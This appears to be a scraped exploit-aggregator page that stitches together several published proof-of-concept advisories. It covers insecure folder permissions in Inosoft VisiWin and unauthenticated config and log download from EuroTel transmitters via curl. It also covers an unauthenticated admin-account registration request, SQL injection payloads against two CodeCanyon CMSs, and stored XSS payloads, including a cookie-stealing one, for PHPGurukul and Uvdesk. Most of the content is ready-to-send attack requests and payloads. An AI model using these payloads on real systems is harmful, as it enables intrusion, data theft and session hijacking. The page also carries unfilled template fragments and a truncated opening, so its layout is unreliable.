(x86)\TSplus-RemoteWork\Clients\www\software\java\third\js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third\images\bramus C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third\js\prototype C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\var\log ------------------------------------------------------------------------------------------- Permission: Everyone:(F) C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\robots.txt C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\cgi-bin\hb.exe.config C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\cgi-bin\SessionPrelaunch.Common.dll.config C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\cgi-bin\remoteapp\index.html C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\download\common.js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\download\lang.js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\download\Setup-RemoteWork-Client.exe C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\jwres\jwwebsockify.jar C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\jwres\web.jar C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\own\exitlist.html C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\html5\own\exitupload.html C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\index.html C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\img\index.html C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\img\port.bin C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third\jws.js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third\sha256.js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\java\third\js\prototype\prototype.js C:\Program Files (x86)\TSplus-RemoteWork\Clients\www\software\js\jquery.min.js
HireHackking

Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions

HACKER · %s · %s

# Exploit Title: Inosoft VisiWin 7 2022-2.1 - Insecure Folders Permissions Privilege Escalation # Date: 2023-08-09 # Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia # Vendor Homepage: https://www.inosoft.com/ # Version: Up to 2022-2.1 (Runtime RT7.3 RC3 20221209.5) # Tested on: Windows # CVE: CVE-2023-31468 Inosoft VisiWin is a completely open system with a configurable range of functions. It combines all features of classic HMI software with unlimited programming possibilities. The installation of the solution will create insecure folder, and this could allow a malicious user to manipulate file content or change legitimate files (e.g., VisiWin7.Server.Manager.exe which runs with SYSTEM privileges) to compromise a system or to gain elevated privileges. This is the list of insecure files and folders with their respective permissions: C:\>icacls "C:\Program Files (x86)\INOSOFT GmbH" C:\Program Files (x86)\INOSOFT GmbH BUILTIN\Administrators:(OI)(CI)(F) Everyone:(OI)(CI)(F) NT AUTHORITY\SYSTEM:(OI)(CI)(F) Successfully processed 1 files; Failed processing 0 files C:\> -------------------------------------------------------------------------------------------------------------------------------------------------------- C:\>icacls "C:\Program Files (x86)\INOSOFT GmbH\VisiWin7\Runtime\VisiWin7.Server.Manager.exe" C:\Program Files (x86)\INOSOFT GmbH\VisiWin 7\Runtime\VisiWin7.Server.Manager.exe BUILTIN\Administrators:(I)(F) Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) Successfully processed 1 files; Failed processing 0 files C:\>
HireHackking

EuroTel ETL3100 - Transmitter Unauthenticated Config/Log Download

HACKER · %s · %s

# Exploit Title: EuroTel ETL3100 - Transmitter Unauthenticated Config/Log Download # Exploit Author: LiquidWorm Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L Product web page: https://www.eurotel.it | https://www.siel.fm Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter) Summary: RF Technology For Television Broadcasting Applications. The Series ETL3100 Radio Transmitter provides all the necessary features defined by the FM and DAB standards. Two bands are provided to easily complain with analog and digital DAB standard. The Series ETL3100 Television Transmitter provides all the necessary features defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as well as the analog TV standards. Three band are provided to easily complain with all standard channels, and switch softly from analog-TV 'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission. Desc: The TV and FM transmitter suffers from an unauthenticated configuration and log download vulnerability. This will enable the attacker to disclose sensitive information and help him in authentication bypass, privilege escalation and full system access. Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3) lighttpd/1.4.26 PHP/5.4.3 Xilinx Virtex Machine Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5784 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5784.php 29.04.2023 -- $ curl http://192.168.2.166/cfg_download.php -o config.tgz $ curl http://192.168.2.166/exciter/log_download.php -o log.tar.gz
HireHackking
# Exploit Title: Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) # Date: 11.08.2023 # Exploit Author: 0xBr # Software Link: https://codecanyon.net/item/crypto-currency-tracker-prices-charts-news-icos-info-and-more/21588008 # Version: <=9.5 # CVE: CVE-2023-37759 POST /en/user/register HTTP/2 Host: localhost Cookie: XSRF-TOKEN=[TOKEN]; laravel_session=[LARAVEL_SESSION]; SELECTED_CURRENCY=USD; SELECTED_CURRENCY_PRICE=1; cookieconsent_status=dismiss Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 756 _token=[_TOKEN]&name=testing&role_id=1&email=testing%40testing.testing&password=testing&g-recaptcha-response=[G-RECAPTCHA-RESPONSE]&submit_register=Register
HireHackking
# Exploit Title: Global - Multi School Management System Express v1.0- SQL Injection # Date: 2023-08-12 # Exploit Author: Ahmet Ümit BAYRAM # Vendor: https://codecanyon.net/item/global-multi-school-management-system-express/21975378 # Tested on: Kali Linux & MacOS # CVE: N/A ### Request ### POST /report/balance HTTP/1.1 Content-Type: multipart/form-data; boundary=----------YWJkMTQzNDcw Accept: */* X-Requested-With: XMLHttpRequest Referer: http://localhost Cookie: gmsms=b8d36491f08934ac621b6bc7170eaef18290469f Content-Length: 472 Accept-Encoding: gzip,deflate,br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Host: localhost Connection: Keep-alive ------------YWJkMTQzNDcw Content-Disposition: form-data; name="school_id" 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z ------------YWJkMTQzNDcw Content-Disposition: form-data; name="academic_year_id" ------------YWJkMTQzNDcw Content-Disposition: form-data; name="group_by" ------------YWJkMTQzNDcw Content-Disposition: form-data; name="date_from" ------------YWJkMTQzNDcw Content-Disposition: form-data; name="date_to" ------------YWJkMTQzNDcw-- ### Parameter & Payloads ### Parameter: MULTIPART school_id ((custom) POST) Type: error-based Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) Payload: ------------YWJkMTQzNDcw Content-Disposition: form-data; name="school_id" 0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z' AND EXTRACTVALUE(1586,CONCAT(0x5c,0x71766b6b71,(SELECT (ELT(1586=1586,1))),0x716a627071)) AND 'Dyjx'='Dyjx ------------YWJkMTQzNDcw Content-Disposition: form-data; name="academic_year_id" ------------YWJkMTQzNDcw Content-Disposition: form-data; name="group_by" ------------YWJkMTQzNDcw Content-Disposition: form-data; name="date_from" ------------YWJkMTQzNDcw Content-Disposition: form-data; name="date_to" ------------YWJkMTQzNDcw–
HireHackking
# Exploit Title: User Registration & Login and User Management System v3.0 - Stored Cross-Site Scripting (XSS) # Google Dork: NA # Date: 19/08/2023 # Exploit Author: Ashutosh Singh Umath # Vendor Homepage: https://phpgurukul.com # Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/ # Version: 3.0 # Tested on: Windows 11 # CVE : Requested Description User Registration & Login and User Management System With admin panel 3.0 application from PHPgurukul is vulnerable to Persistent XSS via the fname, lname, email, and contact field name. When User logs in or the admin user logs in the payload gets executed. POC User side 1. Go to the user registration page http://localhost/loginsystem. 2. Enter <img src="x" onerror=alert(document.cookie)> in one of the fields (first name, last name, email, or contact). 3. Click sign up. Admin side 1. Login to admin panel http://localhost/loginsystem/admin. 2. After login successfully go to manage user page. 3. Payload Thanks and Regards, Ashutosh Singh Umath
HireHackking

OVOO Movie Portal CMS v3.3.3 - SQL Injection

HACKER · %s · %s

# Exploit Title: OVOO Movie Portal CMS v3.3.3 - SQL Injection # Date: 2023-08-12 # Exploit Author: Ahmet Ümit BAYRAM # Vendor: https://codecanyon.net/item/ovoomovie-video-streaming-cms-with-unlimited-tvseries/20180569 # Tested on: Kali Linux & MacOS # CVE: N/A ### Request ### POST /filter_movies/1 HTTP/2 Host: localhost Cookie: ci_session=tiic5hcli8v3qkg1chgj0dqpou9495us User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/movies.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 60 Origin: htts://localhost Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers action=fetch_data&minimum_rating=1&maximum_rating=6.8&page=1 ### Parameter & Payloads ### Parameter: maximum_rating (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=fetch_data&minimum_rating=1&maximum_rating=6.8 AND 2238=2238&page=1 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=fetch_data&minimum_rating=1&maximum_rating=6.8 AND (SELECT 4101 FROM (SELECT(SLEEP(5)))FLwc)&page=1
HireHackking

Uvdesk 1.1.4 - Stored XSS (Authenticated)

HACKER · %s · %s

# Exploit Title: Uvdesk 1.1.4 - Stored XSS (Authenticated) # Date: 14/08/2023 # Exploit Author: Hubert Wojciechowski # Contact Author: hub.woj12345@gmail.com # Vendor Homepage: https://www.uvdesk.com/ # Software Link: https://github.com/MegaTKC/AeroCMS # Version: 1.1.4 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 # Authenticated user privilages to tickets. User can send XSS to admin or other user and stolen sesssion. ## Example XSS Stored in new ticket ----------------------------------------------------------------------------------------------------------------------- Param: reply ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- POST /uvdesk/public/en/member/thread/add/1 HTTP/1.1 Host: 127.0.0.1 Content-Length: 812 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCjJcGbgZxZWLsSk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/uvdesk/public/en/member/ticket/view/1 Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: uv-sidebar=0; PHPSESSID=4b0j3r934245lpssq5lil3edm3 Connection: close ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="threadType" forward ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="status" ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="subject" aaaa ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="to[]" test@local.host ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="reply" %3Cp%3E%3Cembed+src%3D%22data%3Aimage%2Fsvg%2Bxml%3Bbase64%2CPHN2ZyB4bWxuczpzdmc9Imh0dH+A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv+MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs+aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw+IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI%2BYWxlcnQoIlh+TUyIpOzwvc2NyaXB0Pjwvc3ZnPg%3D%3D%22+type%3D%22image%2Fsvg%2Bxml%22+width%3D%22300%22+height%3D%22150%22%3E%3C%2Fembed%3E%3C%2Fp%3E ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="pic"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryXCjJcGbgZxZWLsSk Content-Disposition: form-data; name="nextView" stay ------WebKitFormBoundaryXCjJcGbgZxZWLsSk-- ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 302 Found Date: Mon, 14 Aug 2023 11:33:26 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 X-Powered-By: PHP/7.4.29 Cache-Control: max-age=0, must-revalidate, private Location: /uvdesk/public/en/member/ticket/view/1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS Access-Control-Allow-Headers: Access-Control-Allow-Origin Access-Control-Allow-Headers: Authorization Access-Control-Allow-Headers: Content-Type X-Debug-Token: bf1b73 X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/bf1b73 X-Robots-Tag: noindex Expires: Mon, 14 Aug 2023 11:33:26 GMT Set-Cookie: sf_redirect=%7B%22token%22%3A%22bf1b73%22%2C%22route%22%3A%22helpdesk_member_add_ticket_thread%22%2C%22method%22%3A%22POST%22%2C%22controller%22%3A%7B%22class%22%3A%22Webkul%5C%5CUVDesk%5C%5CCoreFrameworkBundle%5C%5CController%5C%5CThread%22%2C%22method%22%3A%22saveThread%22%2C%22file%22%3A%22C%3A%5C%5Cxampp2%5C%5Chtdocs%5C%5Cuvdesk%5C%5Cvendor%5C%5Cuvdesk%5C%5Ccore-framework%5C%5CController%5C%5CThread.php%22%2C%22line%22%3A44%7D%2C%22status_code%22%3A302%2C%22status_text%22%3A%22Found%22%7D; path=/; httponly; samesite=lax Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 398 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='/uvdesk/public/en/member/ticket/view/1'" /> <title>Redirecting to /uvdesk/public/en/member/ticket/view/1</title> </head> <body> Redirecting to <a href="/uvdesk/public/en/member/ticket/view/1">/uvdesk/public/en/member/ticket/view/1</a>. </body> </html> ----------------------------------------------------------------------------------------------------------------------- Redirect and view response: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Mon, 14 Aug 2023 11:44:14 GMT Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 X-Powered-By: PHP/7.4.29 Cache-Control: max-age=0, must-revalidate, private Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,PUT,OPTIONS Access-Control-Allow-Headers: Access-Control-Allow-Origin Access-Control-Allow-Headers: Authorization Access-Control-Allow-Headers: Content-Type X-Debug-Token: 254ce8 X-Debug-Token-Link: http://127.0.0.1/uvdesk/public/_profiler/254ce8 X-Robots-Tag: noindex Expires: Mon, 14 Aug 2023 11:44:14 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 300607 <!DOCTYPE html> <html> <head> <title>#1 vvvvvvvvvvvvvvvvvvvvv</title> [...] <p><embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" width="300" height="150"></embed></p> [...] ----------------------------------------------------------------------------------------------------------------------- XSS execute, we can reply ticket to victim. This payload can use in new articles, tickets, all application.